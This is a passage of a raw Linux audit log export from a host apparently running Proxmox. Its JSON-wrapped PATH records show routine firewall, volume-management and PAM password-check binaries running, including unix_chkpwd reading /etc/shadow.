cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PATH msg=audit(1781964655.164:61980): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PATH msg=audit(1781964655.164:61980): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PATH msg=audit(1781964655.164:61979): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=PATH msg=audit(1781964655.164:61978): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654463,"@rawstring":"node=pve type=PATH msg=audit(1781964654.463:61977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654463,"@rawstring":"node=pve type=PATH msg=audit(1781964654.463:61977): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654421,"@rawstring":"node=pve type=PATH msg=audit(1781964654.421:61976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964654421,"@rawstring":"node=pve type=PATH msg=audit(1781964654.421:61976): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964653007,"@rawstring":"node=pve type=PATH msg=audit(1781964653.007:61974): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964653004,"@rawstring":"node=pve type=PATH msg=audit(1781964653.004:61973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964653004,"@rawstring":"node=pve type=PATH msg=audit(1781964653.004:61973): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964652970,"@rawstring":"node=pve type=PATH msg=audit(1781964652.970:61972): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964652967,"@rawstring":"node=pve type=PATH msg=audit(1781964652.967:61971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964652967,"@rawstring":"node=pve type=PATH msg=audit(1781964652.967:61971): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PATH msg=audit(1781964650.157:61970): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PATH msg=audit(1781964650.157:61970): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PATH msg=audit(1781964650.157:61969): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=PATH msg=audit(1781964650.157:61968): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PATH msg=audit(1781964650.149:61967): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PATH msg=audit(1781964650.149:61967): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PATH msg=audit(1781964650.149:61966): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=PATH msg=audit(1781964650.149:61965): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648958,"@rawstring":"node=pve type=PATH msg=audit(1781964648.958:61963): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648955,"@rawstring":"node=pve type=PATH msg=audit(1781964648.955:61962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648955,"@rawstring":"node=pve type=PATH msg=audit(1781964648.955:61962): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648917,"@rawstring":"node=pve type=PATH msg=audit(1781964648.917:61961): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648913,"@rawstring":"node=pve type=PATH msg=audit(1781964648.913:61960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648913,"@rawstring":"node=pve type=PATH msg=audit(1781964648.913:61960): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648808,"@rawstring":"node=pve type=PATH msg=audit(1781964648.808:61958): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648806,"@rawstring":"node=pve type=PATH msg=audit(1781964648.806:61957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648806,"@rawstring":"node=pve type=PATH msg=audit(1781964648.806:61957): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648762,"@rawstring":"node=pve type=PATH msg=audit(1781964648.762:61956): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648758,"@rawstring":"node=pve type=PATH msg=audit(1781964648.758:61955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964648758,"@rawstring":"node=pve type=PATH msg=audit(1781964648.758:61955): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645904,"@rawstring":"node=pve type=PATH msg=audit(1781964645.904:61954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645904,"@rawstring":"node=pve type=PATH msg=audit(1781964645.904:61954): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645902,"@rawstring":"node=pve type=PATH msg=audit(1781964645.902:61953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645902,"@rawstring":"node=pve type=PATH msg=audit(1781964645.902:61953): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=PATH msg=audit(1781964645.900:61952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=PATH msg=audit(1781964645.900:61952): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=PATH msg=audit(1781964645.900:61951): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645896,"@rawstring":"node=pve type=PATH msg=audit(1781964645.896:61950): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645896,"@rawstring":"node=pve type=PATH msg=audit(1781964645.896:61950): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645896,"@rawstring":"node=pve type=PATH msg=audit(1781964645.896:61950): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645890,"@rawstring":"node=pve type=PATH msg=audit(1781964645.890:61949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645890,"@rawstring":"node=pve type=PATH msg=audit(1781964645.890:61949): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645884,"@rawstring":"node=pve type=PATH msg=audit(1781964645.884:61948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645884,"@rawstring":"node=pve type=PATH msg=audit(1781964645.884:61948): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645878,"@rawstring":"node=pve type=PATH msg=audit(1781964645.878:61947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645878,"@rawstring":"node=pve type=PATH msg=audit(1781964645.878:61947): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645872,"@rawstring":"node=pve type=PATH msg=audit(1781964645.872:61946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645872,"@rawstring":"node=pve type=PATH msg=audit(1781964645.872:61946): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645866,"@rawstring":"node=pve type=PATH msg=audit(1781964645.866:61944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645866,"@rawstring":"node=pve type=PATH msg=audit(1781964645.866:61944): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645862,"@rawstring":"node=pve type=PATH msg=audit(1781964645.862:61943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645862,"@rawstring":"node=pve type=PATH msg=audit(1781964645.862:61943): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645857,"@rawstring":"node=pve type=PATH msg=audit(1781964645.857:61942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645857,"@rawstring":"node=pve type=PATH msg=audit(1781964645.857:61942): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645852,"@rawstring":"node=pve type=PATH msg=audit(1781964645.852:61941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645852,"@rawstring":"node=pve type=PATH msg=audit(1781964645.852:61941): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645847,"@rawstring":"node=pve type=PATH msg=audit(1781964645.847:61940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645847,"@rawstring":"node=pve type=PATH msg=audit(1781964645.847:61940): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645842,"@rawstring":"node=pve type=PATH msg=audit(1781964645.842:61939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645842,"@rawstring":"node=pve type=PATH msg=audit(1781964645.842:61939): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645834,"@rawstring":"node=pve type=PATH msg=audit(1781964645.834:61938): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645834,"@rawstring":"node=pve type=PATH msg=audit(1781964645.834:61938): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645828,"@rawstring":"node=pve type=PATH msg=audit(1781964645.828:61937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645828,"@rawstring":"node=pve type=PATH msg=audit(1781964645.828:61937): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645824,"@rawstring":"node=pve type=PATH msg=audit(1781964645.824:61936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645824,"@rawstring":"node=pve type=PATH msg=audit(1781964645.824:61936): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PATH msg=audit(1781964645.819:61935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PATH msg=audit(1781964645.819:61935): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PATH msg=audit(1781964645.819:61934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PATH msg=audit(1781964645.819:61934): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=PATH msg=audit(1781964645.819:61933): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645813,"@rawstring":"node=pve type=PATH msg=audit(1781964645.813:61932): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645813,"@rawstring":"node=pve type=PATH msg=audit(1781964645.813:61932): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645813,"@rawstring":"node=pve type=PATH msg=audit(1781964645.813:61932): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645807,"@rawstring":"node=pve type=PATH msg=audit(1781964645.807:61931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645807,"@rawstring":"node=pve type=PATH msg=audit(1781964645.807:61931): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645799,"@rawstring":"node=pve type=PATH msg=audit(1781964645.799:61930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645799,"@rawstring":"node=pve type=PATH msg=audit(1781964645.799:61930): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645791,"@rawstring":"node=pve type=PATH msg=audit(1781964645.791:61929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645791,"@rawstring":"node=pve type=PATH msg=audit(1781964645.791:61929): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645781,"@rawstring":"node=pve type=PATH msg=audit(1781964645.781:61928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645781,"@rawstring":"node=pve type=PATH msg=audit(1781964645.781:61928): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645774,"@rawstring":"node=pve type=PATH msg=audit(1781964645.774:61927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645774,"@rawstring":"node=pve type=PATH msg=audit(1781964645.774:61927): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=PATH msg=audit(1781964645.141:61926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=PATH msg=audit(1781964645.141:61926): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=PATH msg=audit(1781964645.141:61925): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645140,"@rawstring":"node=pve type=PATH msg=audit(1781964645.140:61924): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PATH msg=audit(1781964645.133:61923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PATH msg=audit(1781964645.133:61923): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PATH msg=audit(1781964645.133:61922): 